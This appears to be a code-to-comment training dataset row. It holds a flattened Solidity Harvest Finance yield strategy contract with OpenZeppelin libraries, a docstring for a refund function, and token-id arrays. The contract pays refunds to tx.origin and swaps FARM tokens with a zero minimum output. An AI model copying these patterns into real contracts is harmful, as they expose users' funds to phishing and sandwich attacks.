file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "../../libraries/Ownable.sol"; import "../../interfaces/IHFVault.sol"; import "../../interfaces/IHFStake.sol"; import "../../interfaces/IDAOVault2.sol"; import "../../interfaces/IFARM.sol"; import "../../interfaces/IUniswapV2Router02.sol"; /// @title Contract for yield token with Harvest Finance and utilize FARM token contract HarvestFarmer is OwnableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; using SafeERC20Upgradeable for IHFVault; using SafeERC20Upgradeable for IFARM; using SafeMathUpgradeable for uint256; bytes32 public strategyName; IERC20Upgradeable public token; IDAOVault2 public daoVault; IHFVault public hfVault; IHFStake public hfStake; IFARM public FARM; IUniswapV2Router02 public uniswapRouter; address public WETH; bool public isVesting; uint256 public pool; // For Uniswap uint256 public amountOutMinPerc; // Address to collect fees address public treasuryWallet; address public communityWallet; uint256 public profileSharingFeePercentage; event SetTreasuryWallet(address indexed oldTreasuryWallet, address indexed newTreasuryWallet); event SetCommunityWallet(address indexed oldCommunityWallet, address indexed newCommunityWallet); event SetProfileSharingFeePercentage( uint256 indexed oldProfileSharingFeePercentage, uint256 indexed newProfileSharingFeePercentage); modifier notVesting { require(!isVesting, "Contract in vesting state"); _; } modifier onlyVault { require(msg.sender == address(daoVault), "Only can call from Vault"); _; } /** * @notice Replace constructor function in clone contract * @dev modifier initializer: only allow run this function once * @param _strategyName Name of this strategy contract * @param _token Token to utilize * @param _hfVault Harvest Finance vault contract for _token * @param _hfStake Harvest Finance stake contract for _hfVault * @param _FARM FARM token contract * @param _uniswapRouter Uniswap Router contract that implement swap * @param _WETH WETH token contract * @param _owner Owner of this strategy contract */ function init( bytes32 _strategyName, address _token, address _hfVault, address _hfStake, address _FARM, address _uniswapRouter, address _WETH, address _owner ) external initializer { __Ownable_init(_owner); strategyName = _strategyName; token = IERC20Upgradeable(_token); hfVault = IHFVault(_hfVault); hfStake = IHFStake(_hfStake); FARM = IFARM(_FARM); uniswapRouter = IUniswapV2Router02(_uniswapRouter); WETH = _WETH; amountOutMinPerc = 0; // Set 0 to prevent transaction failed if FARM token price drop sharply and cause high slippage treasuryWallet = 0x59E83877bD248cBFe392dbB5A8a29959bcb48592; communityWallet = 0xdd6c35aFF646B2fB7d8A8955Ccbe0994409348d0; profileSharingFeePercentage = 1000; token.safeApprove(address(hfVault), type(uint256).max); hfVault.safeApprove(address(hfStake), type(uint256).max); FARM.safeApprove(address(uniswapRouter), type(uint256).max); } /** * @notice Set Vault that interact with this contract * @dev This function call after deploy Vault contract and only able to call once * @dev This function is needed only if this is the first strategy to connect with Vault * @param _address Address of Vault * Requirements: * - Only owner of this contract can call this function * - Vault is not set yet */ function setVault(address _address) external onlyOwner { require(address(daoVault) == address(0), "Vault set"); daoVault = IDAOVault2(_address); } /** * @notice Set new treasury wallet address in contract * @param _treasuryWallet Address of new treasury wallet * Requirements: * - Only owner of this contract can call this function */ function setTreasuryWallet(address _treasuryWallet) external onlyOwner { address oldTreasuryWallet = treasuryWallet; treasuryWallet = _treasuryWallet; emit SetTreasuryWallet(oldTreasuryWallet, _treasuryWallet); } /** * @notice Set new community wallet address in contract * @param _communityWallet Address of new community wallet * Requirements: * - Only owner of this contract can call this function */ function setCommunityWallet(address _communityWallet) external onlyOwner { address oldCommunityWallet = communityWallet; communityWallet = _communityWallet; emit SetCommunityWallet(oldCommunityWallet, _communityWallet); } /** * @notice Set profile sharing fee * @param _percentage Integar (100 = 1%) * Requirements: * - Only owner of this contract can call this function * - Amount set must less than 3000 (30%) */ function setProfileSharingFeePercentage(uint256 _percentage) external onlyOwner { require(_percentage < 3000, "Profile sharing fee percentage cannot be more than 30%"); uint256 oldProfileSharingFeePercentage = profileSharingFeePercentage; profileSharingFeePercentage = _percentage; emit SetProfileSharingFeePercentage(oldProfileSharingFeePercentage, _percentage); } /** * @notice Set amount out minimum percentage for swap FARM token in Uniswap * @param _percentage Integar (100 = 1%) * Requirements: * - Only owner of this contract can call this function * - Percentage set must less than or equal 9700 (97%) */ function setAmountOutMinPerc(uint256 _percentage) external onlyOwner { require(_percentage <= 9700, "Amount out minimun > 97%"); amountOutMinPerc = _percentage; } /** * @notice Get current balance in contract * @param _address Address to query * @return result * Result == total user deposit balance after fee if not vesting state * Result == user available balance to refund including profit if in vesting state */ function getCurrentBalance(address _address) external view returns (uint256 result) { uint256 _daoVaultTotalSupply = daoVault.totalSupply(); if (0 < _daoVaultTotalSupply) { uint256 _shares = daoVault.balanceOf(_address); if (isVesting == false) { uint256 _fTokenBalance = (hfStake.balanceOf(address(this))).mul(_shares).div(_daoVaultTotalSupply); result = _fTokenBalance.mul(hfVault.getPricePerFullShare()).div(hfVault.underlyingUnit()); } else { result = pool.mul(_shares).div(_daoVaultTotalSupply); } } else { result = 0; } } function getPseudoPool() external view notVesting returns (uint256 pseudoPool) { pseudoPool = (hfStake.balanceOf(address(this))).mul(hfVault.getPricePerFullShare()).div(hfVault.underlyingUnit()); } /** * @notice Deposit token into Harvest Finance Vault * @param _amount Amount of token to deposit * Requirements: * - Only Vault can call this function * - This contract is not in vesting state */ // function deposit(uint256 _amount) external onlyVault notVesting { // token.safeTransferFrom(msg.sender, address(this), _amount); // hfVault.deposit(_amount); // pool = pool.add(_amount); // hfStake.stake(hfVault.balanceOf(address(this))); // } /** * @notice Withdraw token from Harvest Finance Vault, exchange distributed FARM token to token same as deposit token * @param _amount amount of token to withdraw * Requirements: * - Only Vault can call this function * - This contract is not in vesting state * - Amount of withdraw must lesser than or equal to total amount of deposit */ function withdraw(uint256 _amount) external onlyVault notVesting returns (uint256) { uint256 _fTokenBalance = (hfStake.balanceOf(address(this))).mul(_amount).div(pool); hfStake.withdraw(_fTokenBalance); hfVault.withdraw(hfVault.balanceOf(address(this))); uint256 _withdrawAmt = token.balanceOf(address(this)); token.safeTransfer(msg.sender, _withdrawAmt); pool = pool.sub(_amount); return _withdrawAmt; } /** * @notice Deposit token into Harvest Finance Vault and invest them * @param _toInvest Amount of token to deposit * Requirements: * - Only Vault can call this function * - This contract is not in vesting state */ function invest(uint256 _toInvest) external onlyVault notVesting { if (_toInvest > 0) { token.safeTransferFrom(msg.sender, address(this), _toInvest); } uint256 _fromVault = token.balanceOf(address(this)); if (0 < hfStake.balanceOf(address(this))) { hfStake.exit(); } uint256 _fTokenBalance = hfVault.balanceOf(address(this)); if (0 < _fTokenBalance) { hfVault.withdraw(_fTokenBalance); } // Swap FARM token for token same as deposit token uint256 _balanceOfFARM = FARM.balanceOf(address(this)); if (_balanceOfFARM > 0) { address[] memory _path = new address[](3); _path[0] = address(FARM); _path[1] = WETH; _path[2] = address(token); uint256[] memory _amountsOut = uniswapRouter.getAmountsOut(_balanceOfFARM, _path); if (_amountsOut[2] > 0) { uniswapRouter.swapExactTokensForTokens( _balanceOfFARM, 0, _path, address(this), block.timestamp); } } uint256 _fromHarvest = (token.balanceOf(address(this))).sub(_fromVault); if (_fromHarvest > pool) { uint256 _earn = _fromHarvest.sub(pool); uint256 _fee = _earn.mul(profileSharingFeePercentage).div(10000 /*DENOMINATOR*/); uint256 treasuryFee = _fee.div(2); // 50% on profile sharing fee token.safeTransfer(treasuryWallet, treasuryFee); token.safeTransfer(communityWallet, _fee.sub(treasuryFee)); } uint256 _all = token.balanceOf(address(this)); require(0 < _all, "No balance of the deposited token"); pool = _all; hfVault.deposit(_all); hfStake.stake(hfVault.balanceOf(address(this))); } /** * @notice Vesting this contract, withdraw all token from Harvest Finance and claim all FARM token * @notice Disabled the deposit and withdraw functions for public, only allowed users to do refund from this contract * Requirements: * - Only owner of this contract can call this function * - This contract is not in vesting state */ function vesting() external onlyOwner notVesting { // Claim all distributed FARM token // and withdraw all fToken from Harvest Finance Stake contract if (hfStake.balanceOf(address(this)) > 0) { hfStake.exit(); } // Withdraw all token from Harvest Finance Vault contract uint256 _fTokenBalance = hfVault.balanceOf(address(this)); if (_fTokenBalance > 0) { hfVault.withdraw(_fTokenBalance); } // Swap all FARM token for token same as deposit token uint256 _FARMBalance = FARM.balanceOf(address(this)); if (_FARMBalance > 0) { uint256 _amountIn = _FARMBalance; address[] memory _path = new address[](3); _path[0] = address(FARM); _path[1] = WETH; _path[2] = address(token); uint256[] memory _amountsOut = uniswapRouter.getAmountsOut(_amountIn, _path); if (_amountsOut[2] > 0) { uint256 _amountOutMin = _amountsOut[2].mul(amountOutMinPerc).div(10000 /*DENOMINATOR*/); uniswapRouter.swapExactTokensForTokens( _amountIn, _amountOutMin, _path, address(this), block.timestamp); } } // Collect all fees uint256 _allTokenBalance = token.balanceOf(address(this)); if (_allTokenBalance > pool) { uint256 _profit = _allTokenBalance.sub(pool); uint256 _fee = _profit.mul(profileSharingFeePercentage).div(10000 /*DENOMINATOR*/); uint256 treasuryFee = _fee.div(2); token.safeTransfer(treasuryWallet, treasuryFee); token.safeTransfer(communityWallet, _fee.sub(treasuryFee)); } pool = token.balanceOf(address(this)); isVesting = true; } /** * @notice Refund all token including profit based on daoToken hold by sender * @notice Only available after contract in vesting state * Requirements: * - Only Vault can call this function * - This contract is in vesting state */ function refund(uint256 _amount) external onlyVault { require(isVesting, "Not in vesting state"); token.safeTransfer(tx.origin, _amount); pool = pool.sub(_amount); } /** * @notice Revert this contract to normal from vesting state * Requirements: * - Only owner of this contract can call this function * - This contract is in vesting state */ function revertVesting() public onlyOwner { require(isVesting, "Not in vesting state"); // Re-deposit all token to Harvest Finance Vault contract // and re-stake all fToken to Harvest Finance Stake contract uint256 _amount = token.balanceOf(address(this)); if (_amount > 0) { hfVault.deposit(_amount); hfStake.stake(hfVault.balanceOf(address(this))); } isVesting = false; } /** * @notice Approve Vault to migrate funds from this contract * Requirements: * - Only owner of this contract can call this function * - This contract is in vesting state */ function approveMigrate() external onlyOwner { require(isVesting, "Not in vesting state"); if (token.allowance(address(this), address(daoVault)) == 0) { token.safeApprove(address(daoVault), type(uint256).max); } } /** * @notice Reuse this contract after vesting and funds migrated * @dev Use this function only for fallback reason(new strategy failed) * Requirements: * - Only owner of this contract can call this function */ function reuseContract() external onlyOwner { pool = token.balanceOf(address(this)); revertVesting(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // Modified from OpenZeppelin OwnableUpgradeable.sol to suite cloned contracts pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init(address owner_) internal initializer { _owner = owner_; emit OwnershipTransferred(address(0), owner_); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IHFVault is IERC20Upgradeable { function deposit(uint256) external; function withdraw(uint256) external; function getPricePerFullShare() external view returns (uint256); function underlyingUnit() external view returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IHFStake { function stake(uint256) external; function withdraw(uint256) external; function getReward() external; function balanceOf(address) external view returns (uint256); function exit() external; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IDAOVault2 is IERC20Upgradeable {} // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IFARM is IERC20Upgradeable {} // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IUniswapV2Router02 { function getAmountsOut(uint256, address[] memory) external view returns (uint256[] memory); function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
* @notice Refund all token including profit based on daoToken hold by sender @notice Only available after contract in vesting state Requirements: - Only Vault can call this function - This contract is in vesting state/
function refund(uint256 _amount) external onlyVault { require(isVesting, "Not in vesting state"); token.safeTransfer(tx.origin, _amount); pool = pool.sub(_amount); }
1,447,346
[ 1, 21537, 777, 1147, 6508, 450, 7216, 2511, 603, 15229, 1345, 6887, 635, 5793, 225, 5098, 2319, 1839, 6835, 316, 331, 10100, 919, 29076, 30, 300, 5098, 17329, 848, 745, 333, 445, 300, 1220, 6835, 353, 316, 331, 10100, 919, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
